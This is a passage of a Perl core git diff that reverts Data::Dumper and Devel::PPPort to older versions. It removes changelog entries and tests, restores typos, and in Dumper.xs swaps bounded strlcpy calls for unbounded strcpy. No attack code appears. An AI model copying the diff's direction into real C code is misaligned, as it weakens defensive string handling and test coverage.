BEGIN { $has_overload = exists($::{"overload::"}); } our $has_B; BEGIN { $has_B = exists($::{"B::"}); } -our $has_UNIVERSAL_isa; BEGIN { $has_UNIVERSAL_isa = exists($UNIVERSAL::{"isa::"}); } use Carp; sub { sub { Carp::longmess("x") }->() }->(\1, "\x{2603}", qr/\x{2603}/); -print !(exists($::{"utf8::"}) xor $has_utf8) ? "" : "not ", "ok 1 # used utf8\n"; -print !(exists($::{"B::"}) xor $has_B) ? "" : "not ", "ok 2 # used B\n"; -print !(exists($UNIVERSAL::{"isa::"}) xor $has_UNIVERSAL_isa) ? "" : "not ", "ok 3 # used UNIVERSAL::isa\n"; +print !(exists($::{"utf8::"}) xor $has_utf8) ? "" : "not ", "ok 1\n"; +print !(exists($::{"overload::"}) xor $has_overload) ? "" : "not ", "ok 2\n"; +print !(exists($::{"B::"}) xor $has_B) ? "" : "not ", "ok 3\n"; # Autovivify $::{"overload::"} () = \$::{"overload::"}; () = \$::{"utf8::"}; eval { sub { Carp::longmess() }->(\1) }; -print $@ eq '' ? "ok 4 # longmess check1\n" : "not ok 4 # longmess check1\n# $@"; +print $@ eq '' ? "ok 4\n" : "not ok 4\n# $@"; # overload:: glob without hash undef *{"overload::"}; eval { sub { Carp::longmess() }->(\1) }; -print $@ eq '' ? "ok 5 # longmess check2\n" : "not ok 5 # longmess check2\n# $@"; +print $@ eq '' ? "ok 5\n" : "not ok 5\n# $@"; 1; diff --git a/dist/Data-Dumper/Changes b/dist/Data-Dumper/Changes index 95e3a8ab1651..a5430d5e3607 100644 --- a/dist/Data-Dumper/Changes +++ b/dist/Data-Dumper/Changes @@ -6,21 +6,7 @@ Changes - public release history for Data::Dumper =over 8 -=item 2.167_02 (Aug 4 2017) - -Attempt to work around XS deparse issues on old perls. -According to the few old perls at my disposure, this now repairs, -for example 5.18, but 5.8.9 still barfs. My debugging hasn't -really come up with much since all changes other than the deparse -change look benign to me. -Can someone who uses ancient perls please step up and take a look? ---Steffen - -=item 2.167_01 (Jul 31 2017) - -CPAN dev release with the accumulated changes from core perl. - -=item 2.166 (Nov 29 2016) +=item 2,166 (Nov 29 2016) Reduce memory usage by not importing from Carp Reduce memory usage by removing unused overload require. diff --git a/dist/Data-Dumper/Dumper.pm b/dist/Data-Dumper/Dumper.pm index 00c99ec0f263..00f6326ee134 100644 --- a/dist/Data-Dumper/Dumper.pm +++ b/dist/Data-Dumper/Dumper.pm @@ -10,7 +10,7 @@ package Data::Dumper; BEGIN { - $VERSION = '2.170'; # Don't forget to set version and release + $VERSION = '2.167'; # Don't forget to set version and release } # date in POD below! #$| = 1; @@ -18,8 +18,6 @@ BEGIN { use 5.006_001; require Exporter; -use constant IS_PRE_520_PERL => $] < 5.020; - use Carp (); BEGIN { @@ -226,19 +224,12 @@ sub Names { sub DESTROY {} sub Dump { - # On old versions of perl, the xs-deparse support can fail - # mysteriously. Barring copious spare time, it's best to revert - # to the previously standard behavior of using the pure perl dumper - # for deparsing on old perls. --Steffen - if (IS_PRE_520_PERL and ($Data::Dumper::Deparse or (ref($_[0]) && $_[0]->{deparse}))) { - return &Dumpperl; - } - - return &Dumpxs + return &Dumpxs unless $Data::Dumper::Useperl || (ref($_[0]) && $_[0]->{useperl}) + # Use pure perl version on earlier releases on EBCDIC platforms || (! $IS_ASCII && $] lt 5.021_010); - return &Dumpperl; + return &Dumpperl; } # @@ -536,8 +527,8 @@ sub _dump { $ref = \$val; if (ref($ref) eq 'GLOB') { # glob my $name = substr($val, 1); - $name =~ s/^main::(?!\z)/::/; - if ($name =~ /\A(?:[A-Z_a-z][0-9A-Z_a-z]*)?::(?:[0-9A-Z_a-z]+::)*[0-9A-Z_a-z]*\z/ && $name ne 'main::') { + if ($name =~ /^[A-Za-z_][\w:]*$/ && $name ne 'main::') { + $name =~ s/^main::/::/; $sname = $name; } else { @@ -627,7 +618,7 @@ sub Reset { sub Indent { my($s, $v) = @_; - if (@_ >= 2) { + if (defined($v)) { if ($v == 0) { $s->{xpad} = ""; $s->{sep} = ""; @@ -646,92 +637,92 @@ sub Indent { sub Trailingcomma { my($s, $v) = @_; - @_ >= 2 ? (($s->{trailingcomma} = $v), return $s) : $s->{trailingcomma}; + defined($v) ? (($s->{trailingcomma} = $v), return $s) : $s->{trailingcomma}; } sub Pair { my($s, $v) = @_; - @_ >= 2 ? (($s->{pair} = $v), return $s) : $s->{pair}; + defined($v) ? (($s->{pair} = $v), return $s) : $s->{pair}; } sub Pad { my($s, $v) = @_; - @_ >= 2 ? (($s->{pad} = $v), return $s) : $s->{pad}; + defined($v) ? (($s->{pad} = $v), return $s) : $s->{pad}; } sub Varname { my($s, $v) = @_; - @_ >= 2 ? (($s->{varname} = $v), return $s) : $s->{varname}; + defined($v) ? (($s->{varname} = $v), return $s) : $s->{varname}; } sub Purity { my($s, $v) = @_; - @_ >= 2 ? (($s->{purity} = $v), return $s) : $s->{purity}; + defined($v) ? (($s->{purity} = $v), return $s) : $s->{purity}; } sub Useqq { my($s, $v) = @_; - @_ >= 2 ? (($s->{useqq} = $v), return $s) : $s->{useqq}; + defined($v) ? (($s->{useqq} = $v), return $s) : $s->{useqq}; } sub Terse { my($s, $v) = @_; - @_ >= 2 ? (($s->{terse} = $v), return $s) : $s->{terse}; + defined($v) ? (($s->{terse} = $v), return $s) : $s->{terse}; } sub Freezer { my($s, $v) = @_; - @_ >= 2 ? (($s->{freezer} = $v), return $s) : $s->{freezer}; + defined($v) ? (($s->{freezer} = $v), return $s) : $s->{freezer}; } sub Toaster { my($s, $v) = @_; - @_ >= 2 ? (($s->{toaster} = $v), return $s) : $s->{toaster}; + defined($v) ? (($s->{toaster} = $v), return $s) : $s->{toaster}; } sub Deepcopy { my($s, $v) = @_; - @_ >= 2 ? (($s->{deepcopy} = $v), return $s) : $s->{deepcopy}; + defined($v) ? (($s->{deepcopy} = $v), return $s) : $s->{deepcopy}; } sub Quotekeys { my($s, $v) = @_; - @_ >= 2 ? (($s->{quotekeys} = $v), return $s) : $s->{quotekeys}; + defined($v) ? (($s->{quotekeys} = $v), return $s) : $s->{quotekeys}; } sub Bless { my($s, $v) = @_; - @_ >= 2 ? (($s->{'bless'} = $v), return $s) : $s->{'bless'}; + defined($v) ? (($s->{'bless'} = $v), return $s) : $s->{'bless'}; } sub Maxdepth { my($s, $v) = @_; - @_ >= 2 ? (($s->{'maxdepth'} = $v), return $s) : $s->{'maxdepth'}; + defined($v) ? (($s->{'maxdepth'} = $v), return $s) : $s->{'maxdepth'}; } sub Maxrecurse { my($s, $v) = @_; - @_ >= 2 ? (($s->{'maxrecurse'} = $v), return $s) : $s->{'maxrecurse'}; + defined($v) ? (($s->{'maxrecurse'} = $v), return $s) : $s->{'maxrecurse'}; } sub Useperl { my($s, $v) = @_; - @_ >= 2 ? (($s->{'useperl'} = $v), return $s) : $s->{'useperl'}; + defined($v) ? (($s->{'useperl'} = $v), return $s) : $s->{'useperl'}; } sub Sortkeys { my($s, $v) = @_; - @_ >= 2 ? (($s->{'sortkeys'} = $v), return $s) : $s->{'sortkeys'}; + defined($v) ? (($s->{'sortkeys'} = $v), return $s) : $s->{'sortkeys'}; } sub Deparse { my($s, $v) = @_; - @_ >= 2 ? (($s->{'deparse'} = $v), return $s) : $s->{'deparse'}; + defined($v) ? (($s->{'deparse'} = $v), return $s) : $s->{'deparse'}; } sub Sparseseen { my($s, $v) = @_; - @_ >= 2 ? (($s->{'noseen'} = $v), return $s) : $s->{'noseen'}; + defined($v) ? (($s->{'noseen'} = $v), return $s) : $s->{'noseen'}; } # used by qquote below @@ -1474,7 +1465,7 @@ modify it under the same terms as Perl itself. =head1 VERSION -Version 2.170 +Version 2.167 (January 4 2017) =head1 SEE ALSO diff --git a/dist/Data-Dumper/Dumper.xs b/dist/Data-Dumper/Dumper.xs index 174562ccc868..0e7142e22227 100644 --- a/dist/Data-Dumper/Dumper.xs +++ b/dist/Data-Dumper/Dumper.xs @@ -12,14 +12,6 @@ # define DD_USE_OLD_ID_FORMAT #endif -#ifndef strlcpy -# ifdef my_strlcpy -# define strlcpy(d,s,l) my_strlcpy(d,s,l) -# else -# define strlcpy(d,s,l) strcpy(d,s) -# endif -#endif - /* These definitions are ASCII only. But the pure-perl .pm avoids * calling this .xs file for releases where they aren't defined */ @@ -49,17 +41,6 @@ || (((UV) (c)) >= '0' && ((UV) (c)) <= '9')) #endif -/* SvPVCLEAR only from perl 5.25.6 */ -#ifndef SvPVCLEAR -# define SvPVCLEAR(sv) sv_setpvs((sv), "") -#endif - -#ifndef memBEGINs -# define memBEGINs(s1, l, s2) \ - ( (l) >= sizeof(s2) - 1 \ - && memEQ(s1, "" s2 "", sizeof(s2)-1)) -#endif - /* This struct contains almost all the user's desired configuration, and it * is treated as constant by the recursive function. This arrangement has * the advantage of needing less memory than passing all of them on the @@ -870,7 +851,7 @@ DD_dump(pTHX_ SV *val, const char *name, STRLEN namelen, SV *retval, HV *seenhv, SV * const ixsv = newSViv(0); /* allowing for a 24 char wide array index */ New(0, iname, namelen+28, char); - (void) strlcpy(iname, name, namelen+28); + (void)strcpy(iname, name); inamelen = namelen; if (name[0] == '@') { sv_catpvs(retval, "("); @@ -1304,7 +1285,7 @@ DD_dump(pTHX_ SV *val, const char *name, STRLEN namelen, SV *retval, HV *seenhv, else if (realtype == SVt_PVGV) {/* GLOBs can end up with scribbly names */ c = SvPV(val, i); if(i) ++c, --i; /* just get the name */ - if (memBEGINs(c, i, "main::")) { + if (i >= 6 && strncmp(c, "main::", 6) == 0) { c += 4; #if PERL_VERSION < 7 if (i == 6 || (i == 7 && c[6] == '\0')) @@ -1314,30 +1295,37 @@ DD_dump(pTHX_ SV *val, const char *name, STRLEN namelen, SV *retval, HV *seenhv, i = 0; else i -= 4; } if (globname_needs_quote(c,i)) { - sv_grow(retval, SvCUR(retval)+3); +#ifdef GvNAMEUTF8 + if (GvNAMEUTF8(val)) { + sv_grow(retval, SvCUR(retval)+2); r = SvPVX(retval)+SvCUR(retval); - r[0] = '*'; r[1] = '{'; r[2] = 0; + r[0] = '*'; r[1] = '{'; SvCUR_set(retval, SvCUR(retval)+2); - i = 3 + esc_q_utf8(aTHX_ retval, c, i, -#ifdef GvNAMEUTF8 - !!GvNAMEUTF8(val) -#else - 0 -#endif - , style->useqq); + esc_q_utf8(aTHX_ retval, c, i, 1, style->useqq); sv_grow(retval, SvCUR(retval)+2); r = SvPVX(retval)+SvCUR(retval); r[0] = '}'; r[1] = '\0'; - SvCUR_set(retval, SvCUR(retval)+1); - r = r+1 - i; + i = 1; + } + else +#endif + { + sv_grow(retval, SvCUR(retval)+6+2*i); + r = SvPVX(retval)+SvCUR(retval); + r[0] = '*'; r[1] = '{'; r[2] = '\''; + i += esc_q(r+3, c, i); + i += 3; + r[i++] = '\''; r[i++] = '}'; + r[i] = '\0'; + } } else { sv_grow(retval, SvCUR(retval)+i+2); r = SvPVX(retval)+SvCUR(retval); - r[0] = '*'; strlcpy(r+1, c, SvLEN(retval)); + r[0] = '*'; strcpy(r+1, c); i++; - SvCUR_set(retval, SvCUR(retval)+i); } + SvCUR_set(retval, SvCUR(retval)+i); if (style->purity) { static const char* const entries[] = { "{SCALAR}", "{ARRAY}", "{HASH}" }; diff --git a/dist/Data-Dumper/t/dumper.t b/dist/Data-Dumper/t/dumper.t index e09a2ddd1f42..643160a1c3cf 100644 --- a/dist/Data-Dumper/t/dumper.t +++ b/dist/Data-Dumper/t/dumper.t @@ -108,7 +108,7 @@ sub SKIP_TEST { ++$TNUM; print "ok $TNUM # skip $reason\n"; } -$TMAX = 468; +$TMAX = 450; # Force Data::Dumper::Dump to use perl. We test Dumpxs explicitly by calling # it direct. Out here it lets us knobble the next if to test that the perl @@ -1740,66 +1740,3 @@ EOT TEST (qq(Dumper("\n")), '\n alone'); TEST (qq(Data::Dumper::DumperX("\n")), '\n alone') if $XS; } -############# -our @globs = map { $_, \$_ } map { *$_ } map { $_, "s::$_" } - "foo", "\1bar", "L\x{e9}on", "m\x{100}cron", "snow\x{2603}"; -$WANT = <<'EOT'; -#$globs = [ -# *::foo, -# \*::foo, -# *s::foo, -# \*s::foo, -# *{"::\1bar"}, -# \*{"::\1bar"}, -# *{"s::\1bar"}, -# \*{"s::\1bar"}, -# *{"::L\351on"}, -# \*{"::L\351on"}, -# *{"s::L\351on"}, -# \*{"s::L\351on"}, -# *{"::m\x{100}cron"}, -# \*{"::m\x{100}cron"}, -# *{"s::m\x{100}cron"}, -# \*{"s::m\x{100}cron"}, -# *{"::snow\x{2603}"}, -# \*{"::snow\x{2603}"}, -# *{"s::snow\x{2603}"}, -# \*{"s::snow\x{2603}"} -#]; -EOT -{ - local $Data::Dumper::Useqq = 1; - TEST (q(Data::Dumper->Dump([\@globs], ["globs"])), 'globs: Dump()'); - TEST (q(Data::Dumper->Dumpxs([\@globs], ["globs"])), 'globs: Dumpxs()') - if $XS; -} -############# -$WANT = <<'EOT'; -#$v = { -# a => \*::ppp, -# b => \*{'::a/b'}, -# c => \*{"::a\x{2603}b"} -#}; -#*::ppp = { -# a => 1 -#}; -#*{'::a/b'} = { -# b => 3 -#}; -#*{"::a\x{2603}b"} = { -# c => 5 -#}; -EOT -{ - *ppp = { a => 1 }; - *{"a/b"} = { b => 3 }; - *{"a\x{2603}b"} = { c => 5 }; - our $v = { a => \*ppp, b => \*{"a/b"}, c => \*{"a\x{2603}b"} }; - local $Data::Dumper::Purity = 1; - TEST (q(Data::Dumper->Dump([$v], ["v"])), 'glob purity: Dump()'); - TEST (q(Data::Dumper->Dumpxs([$v], ["v"])), 'glob purity: Dumpxs()') if $XS; - $WANT =~ tr/'/"/; - local $Data::Dumper::Useqq = 1; - TEST (q(Data::Dumper->Dump([$v], ["v"])), 'glob purity: Dump()'); - TEST (q(Data::Dumper->Dumpxs([$v], ["v"])), 'glob purity: Dumpxs()') if $XS; -} diff --git a/dist/Data-Dumper/t/indent.t b/dist/Data-Dumper/t/indent.t index 2814f0b21539..bcfa251f71e4 100644 --- a/dist/Data-Dumper/t/indent.t +++ b/dist/Data-Dumper/t/indent.t @@ -14,7 +14,7 @@ BEGIN { use strict; use Data::Dumper; -use Test::More tests => 9; +use Test::More tests => 10; use lib qw( ./t/lib ); use Testing qw( _dumptostr ); @@ -34,6 +34,10 @@ $dumper = Data::Dumper->new([$hash]); $dumper->Indent(); $dumpstr{indent_no_arg} = _dumptostr($dumper); +$dumper = Data::Dumper->new([$hash]); +$dumper->Indent(undef); +$dumpstr{indent_undef} = _dumptostr($dumper); + $dumper = Data::Dumper->new([$hash]); $dumper->Indent(0); $dumpstr{indent_0} = _dumptostr($dumper); @@ -55,6 +59,8 @@ $dumpstr{indent_2} = _dumptostr($dumper); is($dumpstr{noindent}, $dumpstr{indent_no_arg}, "absence of Indent is same as Indent()"); +is($dumpstr{noindent}, $dumpstr{indent_undef}, + "absence of Indent is same as Indent(undef)"); isnt($dumpstr{noindent}, $dumpstr{indent_0}, "absence of Indent is different from Indent(0)"); isnt($dumpstr{indent_0}, $dumpstr{indent_1}, diff --git a/dist/Data-Dumper/t/misc.t b/dist/Data-Dumper/t/misc.t index 54a89e6dbcc7..2ce81acc022f 100644 --- a/dist/Data-Dumper/t/misc.t +++ b/dist/Data-Dumper/t/misc.t @@ -15,7 +15,7 @@ BEGIN { use strict; use Data::Dumper; -use Test::More tests => 18; +use Test::More tests => 20; use lib qw( ./t/lib ); use Testing qw( _dumptostr ); @@ -76,10 +76,17 @@ note("Argument validation for new()"); $obj = Data::Dumper->new([$a,$b]); $dumps{'noprev'} = _dumptostr($obj); + $obj = Data::Dumper->new([$a,$b]); + $obj->Pad(undef); + $dumps{'undef'} = _dumptostr($obj); + $obj = Data::Dumper->new([$a,$b]); $obj->Pad(''); $dumps{'emptystring'} = _dumptostr($obj); + is($dumps{'noprev'}, $dumps{'undef'}, + "No setting for \$Data::Dumper::Pad and Pad(undef) give same result"); + is($dumps{'noprev'}, $dumps{'emptystring'}, "No setting for \$Data::Dumper::Pad and Pad('') give same result"); @@ -106,10 +113,17 @@ note("Argument validation for new()"); $obj = Data::Dumper->new([$a,$b]); $dumps{'noprev'} = _dumptostr($obj); + $obj = Data::Dumper->new([$a,$b]); + $obj->Varname(undef); + $dumps{'undef'} = _dumptostr($obj); + $obj = Data::Dumper->new([$a,$b]); $obj->Varname(''); $dumps{'emptystring'} = _dumptostr($obj); + is($dumps{'noprev'}, $dumps{'undef'}, + "No setting for \$Data::Dumper::Varname and Varname(undef) give same result"); + # Because Varname defaults to '$VAR', providing an empty argument to # Varname produces a non-default result. isnt($dumps{'noprev'}, $dumps{'emptystring'}, diff --git a/dist/Data-Dumper/t/pair.t b/dist/Data-Dumper/t/pair.t index c7eafe472e41..9559bddab888 100644 --- a/dist/Data-Dumper/t/pair.t +++ b/dist/Data-Dumper/t/pair.t @@ -15,7 +15,7 @@ BEGIN { } use strict; -our ($want_colon, $want_comma); +use vars qw($want_colon $want_comma); use Test::More tests => 9; no warnings qw(once); diff --git a/dist/Data-Dumper/t/purity_deepcopy_maxdepth.t b/dist/Data-Dumper/t/purity_deepcopy_maxdepth.t index 3a7dc49b1934..f287101ae346 100644 --- a/dist/Data-Dumper/t/purity_deepcopy_maxdepth.t +++ b/dist/Data-Dumper/t/purity_deepcopy_maxdepth.t @@ -16,7 +16,7 @@ BEGIN { use strict; use Data::Dumper; -use Test::More tests => 22; +use Test::More tests => 24; use lib qw( ./t/lib ); use Testing qw( _dumptostr ); @@ -80,6 +80,14 @@ note("\$Data::Dumper::Purity and Purity()"); is($dumps{'noprev'}, $dumps{'objzero'}, "No previous Purity setting equivalent to Purity(0)"); + + $purity = undef; + $obj = Data::Dumper->new([$a,$b,$c], [qw(a b c)]); + $obj->Purity($purity); + $dumps{'objundef'} = _dumptostr($obj); + + is($dumps{'noprev'}, $dumps{'objundef'}, + "No previous Purity setting equivalent to Purity(undef)"); } { @@ -356,6 +364,13 @@ note("\$Data::Dumper::Maxdepth and Maxdepth()"); is($dumps{'noprev'}, $dumps{'maxdepthempty'}, "No previous Maxdepth setting equivalent to Maxdepth() with no argument"); + $obj = Data::Dumper->new([$f], [qw(f)]); + $obj->Maxdepth(undef); + $dumps{'maxdepthundef'} = _dumptostr($obj); + + is($dumps{'noprev'}, $dumps{'maxdepthundef'}, + "No previous Maxdepth setting equivalent to Maxdepth(undef)"); + $maxdepth = 3; $obj = Data::Dumper->new([$f], [qw(f)]); $obj->Maxdepth($maxdepth); diff --git a/dist/Data-Dumper/t/quotekeys.t b/dist/Data-Dumper/t/quotekeys.t index 076cdf6f8ae8..0f6313a26490 100644 --- a/dist/Data-Dumper/t/quotekeys.t +++ b/dist/Data-Dumper/t/quotekeys.t @@ -86,9 +86,10 @@ sub run_tests_for_quotekeys { $obj->Quotekeys($quotekeys); $dumps{'objqkundef'} = _dumptostr($obj); - is($dumps{'ddqkundef'}, $dumps{'objqkundef'}, + note("Quotekeys(undef) will fall back to the default value\nfor \$Data::Dumper::Quotekeys, which is a true value."); + isnt($dumps{'ddqkundef'}, $dumps{'objqkundef'}, "\$Data::Dumper::Quotekeys = undef and Quotekeys(undef) are equivalent"); - is($dumps{'ddqkzero'}, $dumps{'objqkundef'}, + isnt($dumps{'ddqkzero'}, $dumps{'objqkundef'}, "\$Data::Dumper::Quotekeys = undef and = 0 are equivalent"); %dumps = (); diff --git a/dist/Data-Dumper/t/terse.t b/dist/Data-Dumper/t/terse.t index a815c365d593..a5be98050c94 100644 --- a/dist/Data-Dumper/t/terse.t +++ b/dist/Data-Dumper/t/terse.t @@ -3,7 +3,7 @@ use strict; use warnings; use Data::Dumper; -use Test::More tests => 10; +use Test::More tests => 6; use lib qw( ./t/lib ); use Testing qw( _dumptostr ); @@ -23,26 +23,39 @@ for my $useperl (0..1) { WANT } +my (%dumpstr); my $dumper; $dumper = Data::Dumper->new([$hash]); -my $dumpstr_noterse = _dumptostr($dumper); +$dumpstr{noterse} = _dumptostr($dumper); +# $VAR1 = { +# 'foo' => 42 +# }; $dumper = Data::Dumper->new([$hash]); $dumper->Terse(); -is _dumptostr($dumper), $dumpstr_noterse; +$dumpstr{terse_no_arg} = _dumptostr($dumper); $dumper = Data::Dumper->new([$hash]); $dumper->Terse(0); -is _dumptostr($dumper), $dumpstr_noterse; +$dumpstr{terse_0} = _dumptostr($dumper); $dumper = Data::Dumper->new([$hash]); $dumper->Terse(1); -isnt _dumptostr($dumper), $dumpstr_noterse; +$dumpstr{terse_1} = _dumptostr($dumper); +# { +# 'foo' => 42 +# } $dumper = Data::Dumper->new([$hash]); -is $dumper->Terse(1), $dumper; -is $dumper->Terse, 1; -is $dumper->Terse(undef), $dumper; -is $dumper->Terse, undef; -is _dumptostr($dumper), $dumpstr_noterse; +$dumper->Terse(undef); +$dumpstr{terse_undef} = _dumptostr($dumper); + +is($dumpstr{noterse}, $dumpstr{terse_no_arg}, + "absence of Terse is same as Terse()"); +is($dumpstr{noterse}, $dumpstr{terse_0}, + "absence of Terse is same as Terse(0)"); +isnt($dumpstr{noterse}, $dumpstr{terse_1}, + "absence of Terse is different from Terse(1)"); +is($dumpstr{noterse}, $dumpstr{terse_undef}, + "absence of Terse is same as Terse(undef)"); diff --git a/dist/Devel-PPPort/HACKERS b/dist/Devel-PPPort/HACKERS index 285a2e124110..c5fe0ed47c1a 100644 --- a/dist/Devel-PPPort/HACKERS +++ b/dist/Devel-PPPort/HACKERS @@ -45,16 +45,16 @@ a C file is generated by F that is compiled and linked with C. This C file has the purpose of using each of the public API functions/macros once. -The required information is derived from F (just -a copy of bleadperl's F), F (which +The required information is derived from C (just +a copy of bleadperl's C), C (which is generated by F and simply collects the rest of the apidoc entries spread over the Perl source code) and -F (which lists all API provided purely by +C (which lists all API provided purely by Devel::PPPort). -The generated C file F is currently about 500k in size +The generated C file C is currently about 500k in size and takes quite a while to compile. -Usually, F won't compile with older perls. And even if +Usually, C won't compile with older perls. And even if it compiles, there's still a good chance of the dynamic linker failing at C time. But that's on purpose! @@ -73,16 +73,16 @@ and the dynamic linker is happy. (Actually, this process may generate false positives, so by default each API call is checked once more afterwards.) -Running F takes about an hour, depending of course +Running C takes about an hour, depending of course on the machine you're running it on. If you run it with the C<--nocheck> option, it won't recheck the API calls that failed in the compilation stage and it'll take significantly less time. Running with C<--nocheck> should usually be safe. -When running F with the C<--base> option, it will +When running C with the C<--base> option, it will generate the I todo files by disabling all functionality provided by C. These are required for implementing -the C<--compat-version> option of the F script. The +the C<--compat-version> option of the C script. The baseline todo files hold the information about which version of Perl lacks a certain part of the API. @@ -166,7 +166,7 @@ F, the XS code in F and various test files in F. All of these files could be generated on the fly while building -C, but not having the tests in F will confuse +C, but not having the tests in C will confuse TEST/harness in the core. Not having F will be bad for viewing the docs on C. So unfortunately, it's unavoidable to put some redundancy into the package. @@ -287,8 +287,9 @@ That's it. =head2 Submitting Patches If you've added some functionality to C, please -consider submitting a patch with your work to P5P by sending a mail -L. +consider submitting a patch with your work to GitHub here: +L, or by sending a +Pull Request. When submitting patches, please only add the relevant changes and don't include the differences of the generated files. You @@ -319,6 +320,6 @@ modify it under the same terms as Perl itself. =head1 SEE ALSO -See F and F. +See L and L. =cut diff --git a/dist/Devel-PPPort/Makefile.PL b/dist/Devel-PPPort/Makefile.PL index 117f9d107aae..25e352e641e6 100644 --- a/dist/Devel-PPPort/Makefile.PL +++ b/dist/Devel-PPPort/Makefile.PL @@ -40,12 +40,12 @@ WriteMakefile( }, resources => { bugtracker => { - web => 'https://rt.perl.org/rt3/', + web => 'https://github.com/mhx/Devel-PPPort/issues/', }, repository => { type => 'git', - url => 'git://perl5.git.perl.org/perl.git', - web => 'https://perl5.git.perl.org/perl.git', + url => 'git://github.com/mhx/Devel-PPPort.git', + web => 'https://github.com/mhx/Devel-PPPort/', }, }, }, diff --git a/dist/Devel-PPPort/PPPort_pm.PL b/dist/Devel-PPPort/PPPort_pm.PL index 1a514f729d5e..ad75b13e80bd 100644 --- a/dist/Devel-PPPort/PPPort_pm.PL +++ b/dist/Devel-PPPort/PPPort_pm.PL @@ -15,7 +15,7 @@ use strict; $^W = 1; -require "./parts/ppptools.pl"; +require "parts/ppptools.pl"; my $INCLUDE = 'parts/inc'; my $DPPP = 'DPPP_'; @@ -293,9 +293,9 @@ sub expand_pp_expr . "extern $proto;\n" . "#endif\n" . "\n" - . "#if defined(NEED_$func) || defined(NEED_${func}_GLOBAL)\n" + . "$embed\n" . "\n" - . "$embed\n"; + . "#if defined(NEED_$func) || defined(NEED_${func}_GLOBAL)"; } die "cannot expand preprocessor expression '$expr'\n"; @@ -492,8 +492,8 @@ __UNSUPPORTED_API__ =head1 BUGS If you find any bugs, C doesn't seem to build on your -system, or any of its tests fail, please send a bug report to -L. +system, or any of its tests fail, please file an issue here: +L =head1 AUTHORS @@ -539,7 +539,7 @@ package Devel::PPPort; use strict; use vars qw($VERSION $data); -$VERSION = '3.40'; +$VERSION = '3.35'; sub _init_data { @@ -620,14 +620,8 @@ __DATA__ %include memory -%include magic - %include misc -%include format - -%include mess - %include variables %include mPUSH @@ -640,6 +634,8 @@ __DATA__ %include MY_CXT +%include format + %include SvREFCNT %include newSV_type @@ -662,6 +658,8 @@ __DATA__ %include pvs +%include magic + %include cop %include grok diff --git a/dist/Devel-PPPort/PPPort_xs.PL b/dist/Devel-PPPort/PPPort_xs.PL index d00cffa81bfb..5f18940ef1f2 100644 --- a/dist/Devel-PPPort/PPPort_xs.PL +++ b/dist/Devel-PPPort/PPPort_xs.PL @@ -15,7 +15,7 @@ use strict; $^W = 1; -require "./parts/ppptools.pl"; +require "parts/ppptools.pl"; my %SECTION = ( xshead => { code => '', header => "/* ---- code from __FILE__ ---- */" }, diff --git a/dist/Devel-PPPort/devel/buildperl.pl b/dist/Devel-PPPort/devel/buildperl.pl index 72c1929adc93..916ed8f03da2 100644 --- a/dist/Devel-PPPort/devel/buildperl.pl +++ b/dist/Devel-PPPort/devel/buildperl.pl @@ -536,8 +536,7 @@ =head1 SYNOPSIS [default: /tmp/perl/build/] --prefix=directory use this installation prefix [EXPAND] - [default: - /tmp/perl/install//] + [default: /tmp/perl/install//] --config=configuration build this configuration [MULTI] [default: all possible configurations] @@ -545,19 +544,16 @@ =head1 SYNOPSIS --perl=version build this version of perl [MULTI] [default: all possible versions] - --force rebuild and install already installed - versions + --force rebuild and install already installed versions --test run test suite after building --noinstall don't install after building - --patch only patch the perl source in the current - directory + --patch only patch the perl source in the current directory - --oneshot build from the perl source in the current - directory (extra arguments are passed to - Configure) + --oneshot build from the perl source in the current directory + (extra arguments are passed to Configure) options tagged with [MULTI] can be given multiple times @@ -591,8 +587,7 @@ =head1 EXAMPLES To build and install a single version of perl with special configuration options, use: - buildperl.pl --perl=5.6.0 --prefix=/opt/p560ld --oneshot -- -des \ - -Duselongdouble + buildperl.pl --perl=5.6.0 --prefix=/opt/p560ld --oneshot -- -des -Duselongdouble =head1 COPYRIGHT diff --git a/dist/Devel-PPPort/devel/regenerate b/dist/Devel-PPPort/devel/regenerate index 5ffa30ccef72..bc1742d9381d 100644 --- a/dist/Devel-PPPort/devel/regenerate +++ b/dist/Devel-PPPort/devel/regenerate @@ -137,7 +137,7 @@ __END__ =head1 NAME -regenerate - Automatically regenerate Devel::PPPort's API information +regenerate - Automatically regeneate Devel::PPPort's API information =head1 SYNOPSIS diff --git a/dist/Devel-PPPort/mktests.PL b/dist/Devel-PPPort/mktests.PL index 02c911046367..fe79313222d9 100644 --- a/dist/Devel-PPPort/mktests.PL +++ b/dist/Devel-PPPort/mktests.PL @@ -15,7 +15,7 @@ use strict; $^W = 1; -require "./parts/ppptools.pl"; +require "parts/ppptools.pl"; my $template = do { local $/; }; diff --git a/dist/Devel-PPPort/parts/embed.fnc b/dist/Devel-PPPort/parts/embed.fnc index 1f347c2b834e..a64ffbac747d 100644 --- a/dist/Devel-PPPort/parts/embed.fnc +++ b/dist/Devel-PPPort/parts/embed.fnc @@ -1920,7 +1920,7 @@ po |SV* |hfree_next_entry |NN HV *hv|NN STRLEN *indexp #if defined(PERL_IN_HV_C) s |void |hsplit |NN HV *hv|STRLEN const oldsize|STRLEN newsize -s |void |hv_free_entries |NN HV *hv +s |void |hfreeentries |NN HV *hv s |SV* |hv_free_ent_ret|NN HV *hv|NN HE *entry sa |HE* |new_he sanR |HEK* |save_hek_flags |NN const char *str|I32 len|U32 hash|int flags diff --git a/dist/Devel-PPPort/parts/inc/HvNAME b/dist/Devel-PPPort/parts/inc/HvNAME index 9fba5029fb42..9b8602bd7e3f 100644 --- a/dist/Devel-PPPort/parts/inc/HvNAME +++ b/dist/Devel-PPPort/parts/inc/HvNAME @@ -32,7 +32,7 @@ HvNAMELEN_get(hv) =tests plan => 4 ok(Devel::PPPort::HvNAME_get(\%Devel::PPPort::), 'Devel::PPPort'); -ok(!defined Devel::PPPort::HvNAME_get({})); +ok(Devel::PPPort::HvNAME_get({}), undef); ok(Devel::PPPort::HvNAMELEN_get(\%Devel::PPPort::), length('Devel::PPPort')); ok(Devel::PPPort::HvNAMELEN_get({}), 0); diff --git a/dist/Devel-PPPort/parts/inc/SvPV b/dist/Devel-PPPort/parts/inc/SvPV index 4f0ded321c2d..e99bfa01e017 100644 --- a/dist/Devel-PPPort/parts/inc/SvPV +++ b/dist/Devel-PPPort/parts/inc/SvPV @@ -21,6 +21,7 @@ sv_pvn_force_flags NEED_sv_2pv_flags NEED_sv_2pv_flags_GLOBAL +DPPP_SVPV_NOLEN_LP_ARG =implementation @@ -126,9 +127,9 @@ sv_pvn_force_flags(pTHX_ SV *sv, STRLEN *lp, I32 flags) #endif #if { VERSION < 5.8.8 } || ( { VERSION >= 5.9.0 } && { VERSION < 5.9.3 } ) -# define 